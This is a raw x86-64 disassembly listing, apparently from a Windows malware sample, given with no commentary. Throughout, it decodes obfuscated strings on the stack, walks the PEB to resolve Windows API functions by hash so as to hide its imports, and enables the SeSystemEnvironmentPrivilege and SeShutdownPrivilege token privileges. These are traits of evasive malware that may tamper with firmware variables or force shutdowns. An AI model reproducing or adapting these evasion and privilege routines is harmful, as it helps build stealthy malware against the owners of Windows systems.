movzx ecx, byte [rbp - 0x12]
movzx eax, cl
and al, 0xf8
add al, al
sub cl, al
sub cl, 0x6e
mov byte [rbp - 0x12], cl
movzx ecx, byte [rbp - 0x11]
movzx eax, cl
and al, 0xf9
add al, al
sub cl, al
sub cl, 0x6d
mov byte [rbp - 0x11], cl
movzx ecx, byte [rbp - 0x10]
movzx eax, cl
and al, 0xfa
add al, al
sub cl, al
sub cl, 0x6c
mov byte [rbp - 0x10], cl
movzx ecx, dl
movzx eax, cl
and al, 0xfb
add al, al
sub cl, al
sub cl, 0x6b
mov byte [rbp - 0xf], cl
movzx ecx, byte [rbp - 0xe]
movzx eax, cl
and al, 0xfc
add al, al
sub cl, al
sub cl, 0x6a
mov byte [rbp - 0xe], cl
movzx ecx, byte [rbp - 0xd]
movzx eax, cl
and al, 0xfd
add al, al
sub cl, al
sub cl, 0x69
mov byte [rbp - 0xd], cl
movzx ecx, byte [rbp - 0xc]
mov eax, ecx
movabs rdx, 0xf61db1129aa2cbfe
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
sub cl, 0x66
mov byte [rbp - 0xc], cl
lea rcx, [rbp - 0x20]
call r14
mov al, 0xca
mov r8b, 0xbd
mov r9b, 0xcd
mov r10b, 0xc4
xor r11b, r11b
xor ecx, ecx
mov qword [rsp + 0x48], rcx
mov dword [rsp + 0x39], ecx
mov word [rsp + 0x3d], cx
movzx edx, al
movzx eax, dl
and al, 0x79
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x30], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x7a
add al, al
sub cl, al
add cl, 0x2b
mov byte [rsp + 0x31], cl
movzx edx, r9b
movzx eax, dl
and al, 0x7b
mov ecx, 0x16
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x32], cl
movzx ecx, r10b
movzx eax, cl
and al, 0x7c
add al, al
sub cl, al
add cl, 0x2d
mov byte [rsp + 0x33], cl
movzx edx, r11b
movzx eax, dl
and al, 0x7d
mov ecx, 0x17
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x34], cl
movzx eax, r9b
mov ecx, eax
and al, 0x7e
add al, al
sub cl, al
add cl, 0x2f
mov byte [rsp + 0x35], cl
movzx eax, r10b
mov edx, eax
and al, 0x7f
mov ecx, edi
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x36], cl
mov al, 0x3b
movzx ecx, al
movzx eax, cl
and al, 0x80
add al, al
sub cl, al
add cl, 0x31
mov byte [rsp + 0x37], cl
mov al, 0xce
movzx edx, al
movzx eax, dl
and al, 0x81
mov ecx, esi
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x38], cl
mov r8, qword [rsp + 0x48]
movzx ecx, r8b
movzx eax, cl
and al, 0x82
add al, al
sub cl, al
add cl, 0x33
mov byte [rsp + 0x39], cl
movzx edx, byte [rsp + 0x3a]
movzx eax, dl
and al, 0x83
mov ecx, 0x1a
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x3a], cl
movzx ecx, byte [rsp + 0x3b]
movzx eax, cl
and al, 0x84
add al, al
sub cl, al
add cl, 0x35
mov byte [rsp + 0x3b], cl
movzx edx, byte [rsp + 0x3c]
movzx eax, dl
and al, 0x85
mov ecx, 0x1b
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x3c], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x86
add al, al
sub cl, al
add cl, 0x37
mov byte [rsp + 0x3d], cl
movzx edx, byte [rsp + 0x3e]
movzx eax, dl
and al, 0x87
mov ecx, 0x1c
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x3e], cl
movzx ecx, r8b
mov eax, ecx
movabs rdx, 0xae83d5e28e8e8d88
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
sub cl, 0x4f
mov byte [rsp + 0x3f], cl
lea rcx, [rsp + 0x30]
call r14
mov al, reloc.WS2_32.dll_recvfrom
mov r8b, reloc.WS2_32.dll_setsockopt
mov r9b, 4
mov r10b, sendto
movzx r11d, r9b
mov dil, 0xc
mov sil, 0xc5
xor ecx, ecx
mov qword [rsp + 0x48], rcx
mov dword [rsp + 0x3d], ecx
movzx edx, al
movzx eax, dl
and al, 0x18
mov ecx, 0x38
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x30], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x19
add al, al
sub cl, al
add cl, 0x71
mov byte [rsp + 0x31], cl
movzx edx, r9b
movzx eax, dl
and al, 0x1a
mov ecx, 0x39
mov dword [rbp - 0x50], ecx
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x32], cl
movzx ecx, r10b
movzx eax, cl
and al, 0x1b
add al, al
sub cl, al
add cl, 0x73
mov byte [rsp + 0x33], cl
movzx eax, r11b
and al, 0x1c
mov ecx, 0x3a
mov dword [rbp - 0x48], ecx
sub cl, al
add cl, cl
add cl, r11b
mov byte [rsp + 0x34], cl
movzx ecx, dil
movzx eax, cl
and al, 0x1d
add al, al
sub cl, al
add cl, 0x75
mov byte [rsp + 0x35], cl
movzx edx, sil
movzx eax, dl
and al, 0x1e
mov ecx, 0x3b
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x36], cl
movzx eax, sil
mov ecx, eax
and al, 0x1f
add al, al
sub cl, al
add cl, 0x77
mov byte [rsp + 0x37], cl
mov al, 0xf6
movzx edx, al
movzx eax, dl
and al, 0x20
mov ecx, 0x3c
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x38], cl
mov al, 0x2d
movzx ecx, al
movzx eax, cl
and al, 0x21
add al, al
sub cl, al
add cl, 0x79
mov byte [rsp + 0x39], cl
mov al, 0x36
movzx edx, al
movzx eax, dl
and al, 0x22
mov ecx, r15d
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x3a], cl
mov al, 0x37
movzx ecx, al
movzx eax, cl
and al, 0x23
add al, al
sub cl, al
add cl, 0x7b
mov byte [rsp + 0x3b], cl
mov al, 0x8c
movzx edx, al
movzx eax, dl
and al, 0x24
mov ecx, ebx
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x3c], cl
movzx ecx, byte [rsp + 0x48]
movzx eax, cl
and al, 0x25
add al, al
sub cl, al
add cl, 0x7d
mov byte [rsp + 0x3d], cl
movzx edx, byte [rsp + 0x3e]
movzx eax, dl
and al, 0x26
mov ecx, r13d
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x3e], cl
movzx ecx, byte [rsp + 0x3f]
movzx eax, cl
and al, 0x27
add al, al
sub cl, al
add cl, 0x7f
mov byte [rsp + 0x3f], cl
movzx ecx, byte [rsp + 0x40]
mov eax, ecx
movabs rdx, 0x23f2bef3a0abf28
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
add cl, 0x58
mov byte [rsp + 0x40], cl
lea rcx, [rsp + 0x30]
call r14
mov al, 0xd9
movzx r8d, sil
mov r9b, 0xd6
mov r10b, 0xdb
mov r11b, 0xe5
mov bl, 0xdc
mov dil, 0xe3
mov sil, reloc.WS2_32.dll_setsockopt
xor ecx, ecx
mov qword [rsp + 0x3c], rcx
movzx edx, al
movzx eax, dl
and al, 0xf6
mov ecx, 0x1e
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x30], cl
mov ecx, r8d
movzx eax, r8b
and al, 0xf7
add al, al
sub cl, al
add cl, r15b
mov byte [rsp + 0x31], cl
movzx edx, r9b
movzx eax, dl
and al, 0xf8
mov ecx, 0x1f
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x32], cl
movzx ecx, r10b
movzx eax, cl
and al, 0xf9
add al, al
sub cl, al
add cl, r13b
mov byte [rsp + 0x33], cl
movzx edx, r11b
movzx eax, dl
and al, 0xfa
mov ecx, 0x20
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x34], cl
movzx ecx, bl
movzx eax, cl
and al, 0xfb
add al, al
sub cl, al
add cl, 0x41
mov byte [rsp + 0x35], cl
movzx edx, dil
movzx eax, dl
and al, 0xfc
mov ecx, 0x21
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x36], cl
movzx ecx, sil
movzx eax, cl
and al, 0xfd
add al, al
sub cl, al
add cl, 0x43
mov byte [rsp + 0x37], cl
mov al, 0xe0
movzx edx, al
movzx eax, dl
and al, 0xfe
mov ecx, 0x22
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x38], cl
mov al, 0xd9
movzx ecx, al
mov eax, 0x45
sub al, cl
mov byte [rsp + 0x39], al
mov al, 0x26
movzx eax, al
add al, 0x46
mov byte [rsp + 0x3a], al
mov al, 0xbb
movzx ecx, al
movzx eax, cl
and al, 1
add al, al
sub cl, al
add cl, 0x47
mov byte [rsp + 0x3b], cl
movzx edx, byte [rsp + 0x3c]
movzx eax, dl
and al, 2
mov esi, 0x24
mov ecx, esi
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x3c], cl
movzx ecx, byte [rsp + 0x3d]
movzx eax, cl
and al, 3
add al, al
sub cl, al
add cl, 0x49
mov byte [rsp + 0x3d], cl
movzx edx, byte [rsp + 0x3e]
movzx eax, dl
and al, 4
mov edi, 0x25
mov ecx, edi
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x3e], cl
movzx ecx, byte [rsp + 0x3f]
movzx eax, cl
and al, 5
add al, al
sub cl, al
add cl, 0x4b
mov byte [rsp + 0x3f], cl
movzx edx, byte [rsp + 0x40]
movzx eax, dl
and al, 6
mov ebx, 0x26
mov ecx, ebx
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x40], cl
movzx ecx, byte [rsp + 0x41]
movzx eax, cl
and al, 7
add al, al
sub cl, al
add cl, 0x4d
mov byte [rsp + 0x41], cl
movzx edx, byte [rsp + 0x42]
movzx eax, dl
and al, 8
mov ecx, 0x27
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x42], cl
movzx ecx, byte [rsp + 0x43]
mov eax, ecx
movabs rdx, 0x52057e8a2bf1e209
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
add cl, 0x46
mov byte [rsp + 0x43], cl
lea rcx, [rsp + 0x30]
call r14
mov al, 0xeb
mov r8b, 0xee
mov r9b, 0xd2
mov r10b, 0xd9
mov r11b, 0xe1
xor ecx, ecx
mov qword [rsp + 0x48], rcx
mov qword [rbp - 0x13], rcx
mov dword [rbp - 0xb], ecx
mov word [rbp - 7], cx
movzx edx, al
movzx eax, dl
and al, 0x75
mov ecx, 0x21
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x20], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x76
add al, al
sub cl, al
add cl, 0x43
mov byte [rbp - 0x1f], cl
movzx edx, r9b
movzx eax, dl
and al, 0x77
mov ecx, 0x22
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x1e], cl
movzx ecx, r10b
movzx eax, cl
and al, 0x78
add al, al
sub cl, al
add cl, 0x45
mov byte [rbp - 0x1d], cl
movzx edx, r11b
movzx eax, dl
and al, 0x79
mov ecx, 0x23
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x1c], cl
mov al, 0xe5
movzx ecx, al
movzx eax, cl
and al, 0x7a
add al, al
sub cl, al
add cl, 0x47
mov byte [rbp - 0x1b], cl
mov al, 0x1d
movzx ecx, al
movzx eax, cl
and al, 0x7b
sub sil, al
add sil, sil
add sil, cl
mov byte [rbp - 0x1a], sil
mov al, 0x19
movzx ecx, al
movzx eax, cl
and al, 0x7c
add al, al
sub cl, al
add cl, 0x49
mov byte [rbp - 0x19], cl
mov al, 0x1c
movzx ecx, al
movzx eax, cl
and al, 0x7d
sub dil, al
add dil, dil
add dil, cl
mov byte [rbp - 0x18], dil
mov al, 0xe9
movzx ecx, al
movzx eax, cl
and al, 0x7e
add al, al
sub cl, al
add cl, 0x4b
mov byte [rbp - 0x17], cl
mov al, 0xe0
movzx ecx, al
movzx eax, cl
and al, 0x7f
sub bl, al
add bl, bl
add bl, cl
mov byte [rbp - 0x16], bl
mov al, 0x1f
movzx ecx, al
movzx eax, cl
and al, 0x80
add al, al
sub cl, al
add cl, 0x4d
mov byte [rbp - 0x15], cl
mov al, 0xb2
movzx edx, al
movzx eax, dl
and al, 0x81
mov ecx, 0x27
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x14], cl
mov r8, qword [rsp + 0x48]
movzx ecx, r8b
movzx eax, cl
and al, 0x82
add al, al
sub cl, al
add cl, 0x4f
mov byte [rbp - 0x13], cl
movzx edx, byte [rbp - 0x12]
movzx eax, dl
and al, 0x83
mov ecx, 0x28
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x12], cl
movzx ecx, byte [rbp - 0x11]
movzx eax, cl
and al, 0x84
add al, al
sub cl, al
add cl, 0x51
mov byte [rbp - 0x11], cl
movzx edx, byte [rbp - 0x10]
movzx eax, dl
and al, 0x85
mov ecx, 0x29
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x10], cl
movzx ecx, byte [rbp - 0xf]
movzx eax, cl
and al, 0x86
add al, al
sub cl, al
add cl, 0x53
mov byte [rbp - 0xf], cl
movzx edx, byte [rbp - 0xe]
movzx eax, dl
and al, 0x87
mov ecx, 0x2a
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0xe], cl
movzx ecx, byte [rbp - 0xd]
movzx eax, cl
and al, 0x88
add al, al
sub cl, al
add cl, 0x55
mov byte [rbp - 0xd], cl
movzx edx, byte [rbp - 0xc]
movzx eax, dl
and al, 0x89
mov ecx, 0x2b
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0xc], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x8a
add al, al
sub cl, al
add cl, 0x57
mov byte [rbp - 0xb], cl
movzx edx, byte [rbp - 0xa]
movzx eax, dl
and al, 0x8b
mov ecx, 0x2c
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0xa], cl
movzx ecx, byte [rbp - 9]
movzx eax, cl
and al, 0x8c
add al, al
sub cl, al
add cl, 0x59
mov byte [rbp - 9], cl
movzx edx, byte [rbp - 8]
movzx eax, dl
and al, 0x8d
mov ecx, 0x2d
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 8], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x8e
add al, al
sub cl, al
add cl, 0x5b
mov byte [rbp - 7], cl
movzx edx, byte [rbp - 6]
movzx eax, dl
and al, 0x8f
mov ecx, 0x2e
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 6], cl
movzx ecx, r8b
mov eax, ecx
movabs rdx, 0x7d3a7aecb950090
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
sub cl, 0x33
mov byte [rbp - 5], cl
lea rcx, [rbp - 0x20]
call r14
mov al, 0xce
mov r8b, 0xc2
mov r9b, 0xcb
mov r10b, 0xd
mov r11b, 0xd0
mov bl, 0xc9
mov dil, 0xca
mov sil, 0x37
xor ecx, ecx
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x38], rcx
movzx edx, al
movzx eax, dl
and al, 0xf8
mov ecx, dword [rbp - 0x4c]
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x30], cl
movzx ecx, r8b
movzx eax, cl
and al, 0xf9
add al, al
sub cl, al
add cl, 0x31
mov byte [rsp + 0x31], cl
movzx edx, r9b
movzx eax, dl
and al, 0xfa
mov ecx, 0x19
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x32], cl
movzx ecx, r10b
movzx eax, cl
and al, 0xfb
add al, al
sub cl, al
add cl, 0x33
mov byte [rsp + 0x33], cl
movzx edx, r11b
movzx eax, dl
and al, 0xfc
mov ecx, 0x1a
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x34], cl
movzx ecx, bl
movzx eax, cl
and al, 0xfd
add al, al
sub cl, al
add cl, 0x35
mov byte [rsp + 0x35], cl
movzx edx, dil
movzx eax, dl
and al, 0xfe
mov ecx, 0x1b
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x36], cl
movzx ecx, sil
mov eax, 0x37
sub al, cl
mov byte [rsp + 0x37], al
mov r8, qword [rsp + 0x48]
movzx eax, r8b
add al, 0x38
mov byte [rsp + 0x38], al
movzx ecx, byte [rsp + 0x39]
movzx eax, cl
and al, 1
add al, al
sub cl, al
add cl, 0x39
mov byte [rsp + 0x39], cl
movzx edx, byte [rsp + 0x3a]
movzx eax, dl
and al, 2
mov ecx, 0x1d
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x3a], cl
movzx ecx, byte [rsp + 0x3b]
movzx eax, cl
and al, 3
add al, al
sub cl, al
add cl, 0x3b
mov byte [rsp + 0x3b], cl
movzx edx, byte [rsp + 0x3c]
movzx eax, dl
and al, 4
mov ecx, 0x1e
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x3c], cl
movzx ecx, byte [rsp + 0x3d]
movzx eax, cl
and al, 5
add al, al
sub cl, al
add cl, r15b
mov byte [rsp + 0x3d], cl
movzx edx, byte [rsp + 0x3e]
movzx eax, dl
and al, 6
mov ecx, 0x1f
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x3e], cl
movzx ecx, byte [rsp + 0x3f]
movzx eax, cl
and al, 7
add al, al
sub cl, al
add cl, r13b
mov byte [rsp + 0x3f], cl
movzx ecx, r8b
mov eax, ecx
movabs rdx, 0x2e36dd04e139ef08
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
add cl, 0x38
mov byte [rsp + 0x40], cl
lea rcx, [rsp + 0x30]
call r14
mov al, 0xb
mov r8b, 0x31
mov r9b, 0x39
mov r10b, 0xc
mov r11b, 0x16
mov bl, 0x28
mov dil, 0x50
mov sil, 0x2b
xor ecx, ecx
mov qword [rsp + 0x48], rcx
mov qword [rbp - 0x15], rcx
mov dword [rbp - 0xd], ecx
mov word [rbp - 9], cx
movzx edx, al
movzx eax, dl
and al, 0xec
mov ecx, 0x3c
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x20], cl
movzx ecx, r8b
movzx eax, cl
and al, 0xed
add al, al
sub cl, al
add cl, 0x79
mov byte [rbp - 0x1f], cl
movzx edx, r9b
movzx eax, dl
and al, 0xee
mov ecx, r15d
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x1e], cl
movzx ecx, r10b
movzx eax, cl
and al, 0xef
add al, al
sub cl, al
add cl, 0x7b
mov byte [rbp - 0x1d], cl
movzx edx, r11b
movzx eax, dl
and al, 0xf0
mov ecx, 0x3e
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x1c], cl
movzx ecx, bl
movzx eax, cl
and al, 0xf1
add al, al
sub cl, al
add cl, 0x7d
mov byte [rbp - 0x1b], cl
movzx edx, dil
movzx eax, dl
and al, 0xf2
mov ecx, r13d
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x1a], cl
movzx ecx, sil
movzx eax, cl
and al, 0xf3
add al, al
sub cl, al
add cl, 0x7f
mov byte [rbp - 0x19], cl
mov al, reloc.WS2_32.dll_sendto
movzx ecx, al
movzx eax, cl
and al, 0xf4
add al, al
sub cl, al
add cl, 0x80
mov byte [rbp - 0x18], cl
mov al, reloc.WS2_32.dll_setsockopt
movzx ecx, al
movzx eax, cl
and al, 0xf5
add al, al
sub cl, al
sub cl, 0x7f
mov byte [rbp - 0x17], cl
mov al, 0x82
movzx ecx, al
movzx eax, cl
and al, 0xf6
add al, al
sub cl, al
sub cl, 0x7e
mov byte [rbp - 0x16], cl
mov rdx, qword [rsp + 0x48]
movzx ecx, dl
movzx eax, cl
and al, 0xf7
add al, al
sub cl, al
sub cl, 0x7d
mov byte [rbp - 0x15], cl
movzx ecx, byte [rbp - 0x14]
movzx eax, cl
and al, 0xf8
add al, al
sub cl, al
sub cl, 0x7c
mov byte [rbp - 0x14], cl
movzx ecx, byte [rbp - 0x13]
movzx eax, cl
and al, 0xf9
add al, al
sub cl, al
sub cl, 0x7b
mov byte [rbp - 0x13], cl
movzx ecx, byte [rbp - 0x12]
movzx eax, cl
and al, 0xfa
add al, al
sub cl, al
sub cl, 0x7a
mov byte [rbp - 0x12], cl
movzx ecx, byte [rbp - 0x11]
movzx eax, cl
and al, 0xfb
add al, al
sub cl, al
sub cl, 0x79
mov byte [rbp - 0x11], cl
movzx ecx, byte [rbp - 0x10]
movzx eax, cl
and al, 0xfc
add al, al
sub cl, al
sub cl, 0x78
mov byte [rbp - 0x10], cl
movzx ecx, byte [rbp - 0xf]
movzx eax, cl
and al, 0xfd
add al, al
sub cl, al
sub cl, 0x77
mov byte [rbp - 0xf], cl
movzx ecx, byte [rbp - 0xe]
movzx eax, cl
and al, 0xfe
add al, al
sub cl, al
sub cl, 0x76
mov byte [rbp - 0xe], cl
movzx ecx, dl
mov eax, 0x8b
sub al, cl
mov byte [rbp - 0xd], al
sub byte [rbp - 0xc], 0x74
movzx ecx, byte [rbp - 0xb]
movzx eax, cl
and al, 1
add al, al
sub cl, al
sub cl, 0x73
mov byte [rbp - 0xb], cl
movzx ecx, byte [rbp - 0xa]
movzx eax, cl
and al, 2
add al, al
sub cl, al
sub cl, 0x72
mov byte [rbp - 0xa], cl
movzx ecx, dl
movzx eax, cl
and al, 3
add al, al
sub cl, al
sub cl, 0x71
mov byte [rbp - 9], cl
movzx ecx, byte [rbp - 8]
movzx eax, cl
and al, 4
add al, al
sub cl, al
sub cl, 0x70
mov byte [rbp - 8], cl
movzx ecx, dl
mov eax, ecx
movabs rdx, 0x742bcf3cd9f17005
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
sub cl, 0x74
mov byte [rbp - 7], cl
lea rcx, [rbp - 0x20]
call r14
mov r15d, r12d
mov r14d, 0x19ef41c6
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
cmp qword [rax + 0x30], r12
je 0x14001407a
cmp word [rax + 0x48], r12w
je 0x14001407a
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test r15d, r15d
je 0x140013f03
psrldq xmm0, 8
movq r9, xmm0
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0x1fafb377
cmp r9, r11
je 0x140013efa
nop word [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
xor r8d, r10d
imul r10d, r8d, 0x1000193
add r9, 2
cmp r9, r11
jne 0x140013ed0
cmp r10d, r15d
jne 0x14001407a
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov rdx, qword [rcx + rbx + 0x88]
mov r11, rdx
shr r11, 0x20
mov qword [rsp + 0x30], r11
mov esi, edx
add rsi, rbx
cmp rsi, rbx
je 0x14001407a
mov edi, dword [rsi + 0x18]
test edi, edi
je 0x14001407a
mov r8d, dword [rsi + 0x1c]
add r8, rbx
mov qword [rbp - 0x30], r8
mov ecx, dword [rsi + 0x24]
add rcx, rbx
mov qword [rbp - 0x38], rcx
mov r9d, dword [rsi + 0x20]
dec edi
movzx ecx, word [rcx + rdi*2]
mov r10d, dword [r8 + rcx*4]
add r10, rbx
mov qword [rsp + 0x48], r10
lea rcx, [r9 + rdi*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
cmp r10, rsi
jbe 0x140013f81
lea rcx, [r11 + rsi]
cmp r10, rcx
jae 0x140013f81
mov r13b, 1
jmp 0x140013f84
xor r13b, r13b
mov r11d, 0x1fafb377
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140013fcb
nop word [rax + rax]
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r11d
imul r11d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140013fa0
cmp r11d, r14d
je 0x140013ff1
test edi, edi
mov r8, qword [rbp - 0x30]
mov rcx, qword [rbp - 0x38]
mov r11, qword [rsp + 0x30]
mov r9d, dword [rsi + 0x20]
jne 0x140013f51
mov rax, qword [rax]
jmp 0x140013e80
test r13b, r13b
je 0x140014082
mov r15d, 0x1fafb377
mov r14d, r15d
movzx edx, byte [r10]
cmp dl, 0x2e
je 0x140014037
nop dword [rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r15d
imul r15d, ecx, 0x1000193
inc r10
movzx edx, byte [r10]
cmp dl, 0x2e
jne 0x140014010
inc r10
movzx edx, byte [r10]
test dl, dl
je 0x140014069
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r14d
imul r14d, ecx, 0x1000193
lea r10, [r10 + 1]
movzx edx, byte [r10]
test dl, dl
jne 0x140014042
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140013e80
mov dword [rbp - 0x30], reloc.WS2_32.dll_recv
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
lea r9, [rbp - 0x28]
xor r8d, r8d
lea edx, [r8 + 0x28]
call qword [sym.imp.ADVAPI32.dll_OpenThreadToken]
test eax, eax
jne 0x1400140d8
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3f0
jne 0x140015ba4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x28]
mov edx, 0x28
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140015ba4
mov esi, 1
mov dword [rbp + 0x28], esi
mov edi, 2
mov dword [rbp + 0x34], edi
mov qword [rbp + 0x2c], reloc.WS2_32.dll_sendto
lea rax, [rbp - 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
lea r9d, [rsi + 0xf]
lea r8, [rbp + 0x28]
xor edx, edx
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov ebx, eax
mov qword [rbp + 0x2c], 0xa
lea rax, [rbp - 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
lea r9d, [rsi + 0xf]
lea r8, [rbp + 0x28]
xor edx, edx
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test ebx, ebx
je 0x140015ba4
test eax, eax
je 0x140015ba4
xor bl, bl
mov qword [rbp - 0x30], 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x30]
lea edx, [rsi + 0x27]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140015591
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
lea r8, [rbp + 4]
lea rdx, str.SeSystemEnvironmentPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x1400141c4
mov dword [rbp], esi
mov dword [rbp + 0xc], edi
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, [rbp]
xor edx, edx
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
setne bl
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
lea r8, [rbp + 4]
lea rdx, str.SeShutdownPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x14001420a
mov dword [rbp], esi
mov dword [rbp + 0xc], edi
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, [rbp]
xor edx, edx
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
setne bl
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x14001559b
call fcn.14005b240
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r12
lea rcx, [rbp - 0x20]
call fcn.1400104f0
movabs rdx, 0x3d18c65b51d20edb
lea rcx, [rbp - 0x20]
call fcn.140010d10
mov qword [0x1401c81d8], rax
lea rcx, [rbp - 0x20]
test rax, rax
jne 0x14001426e
call fcn.140010910
nop
lea rcx, [rbp - 0x20]
call fcn.140010910
nop
jmp 0x1400143d3
movabs rdx, 0xa3e86b9f7a20b19a
call fcn.140010d10
mov qword [0x1401c81d0], rax
lea rcx, [rbp - 0x20]
test rax, rax
jne 0x1400142a2
call fcn.140010910
nop
lea rcx, [rbp - 0x20]
call fcn.140010910
nop
jmp 0x1400143d3
movabs rdx, 0x5afed1193811099
call fcn.140010d10
mov qword [0x1401c8200], rax
lea rcx, [rbp - 0x20]
test rax, rax
jne 0x1400142d6
call fcn.140010910
nop
lea rcx, [rbp - 0x20]
call fcn.140010910
nop
jmp 0x1400143d3
movabs rdx, 0xae01160ee15e6840
call fcn.140010d10
mov qword [0x1401c81f0], rax
lea rcx, [rbp - 0x20]
test rax, rax
jne 0x14001430a
